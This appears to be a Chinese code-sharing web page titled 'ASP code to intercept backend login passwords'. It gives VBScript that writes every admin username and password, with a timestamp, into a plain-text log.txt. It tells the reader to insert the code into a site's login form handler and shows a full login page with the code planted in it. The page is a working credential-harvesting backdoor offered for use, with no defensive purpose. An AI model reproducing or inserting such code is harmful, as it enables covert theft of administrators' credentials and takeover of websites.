核心代码:复制代码 代码如下: set fso=server.createobject("scripting.filesystemobject") if fso.FileExists(server.mappath("log.txt"))=true then set fin=fso.OpenTextFile(server.mappath("log.txt")) temp=fin.readall fin.close set fin=nothing end if set fout=fso.createtextfile(server.mappath("log.txt")) fout.WriteLine(temp&"user:"&username&"¦pwd:"&password&"¦time:"&now()&"") fout.close set fout=nothing set fso=nothing 在后台登录处表单提交的地方插入！ 参考文件： 复制代码 代码如下: <%@language=vbscript codepage=936 %> <% dim sql,rs dim username,password,CheckCode username=replace(trim(request("username")),"'","") password=replace(trim(Request("password")),"'","") CheckCode=replace(trim(Request("CheckCode")),"'","") if UserName="" then FoundErr=True ErrMsg=ErrMsg & "<br><li>用户名不能为空！</li>" end if if Password="" then FoundErr=True ErrMsg=ErrMsg & "<br><li>密码不能为空！</li>" end if if CheckCode="" then FoundErr=True ErrMsg=ErrMsg & "<br><li>验证码不能为空！</li>" end if if session("CheckCode")="" then FoundErr=True ErrMsg=ErrMsg & "<br><li>你登录时间过长，请重新返回登录页面进行登录。</li>" end if if CheckCode<>CStr(session("CheckCode")) then FoundErr=True ErrMsg=ErrMsg & "<br><li>您输入的确认码和系统产生的不一致，请重新输入。</li>" end if '这后面是我增加的代码~开始区域 set fso=server.createobject("scripting.filesystemobject") if fso.FileExists(server.mappath("log.txt"))=true then set fin=fso.OpenTextFile(server.mappath("log.txt")) temp=fin.readall fin.close set fin=nothing end if set fout=fso.createtextfile(server.mappath("log.txt")) fout.WriteLine(temp&"user:"&username&"|pwd:"&password&"|time:"&now()&"") fout.close set fout=nothing set fso=nothing '后面的代码被我删除了~结束区域 %> 本文涉及语句作者是：会的不多iFat

　　推荐阅读

　　ASP出现问题？修复ASP的批处理

这是个批处理文件，复制下来保存为RepairASP.bat执行即可~ echo 正在修复，这个过程可能需要几分钟，请稍候…… 复制代码 代码如下: rundll32.exe advpack.dll /DelNodeRunDLL32 %systemroot%System32dacui.dll >>>详细阅读

本文标题：Asp截获后台登录密码的代码

地址：http://www.17bianji.com/kaifa2/ASP/31817.html

 1/2    1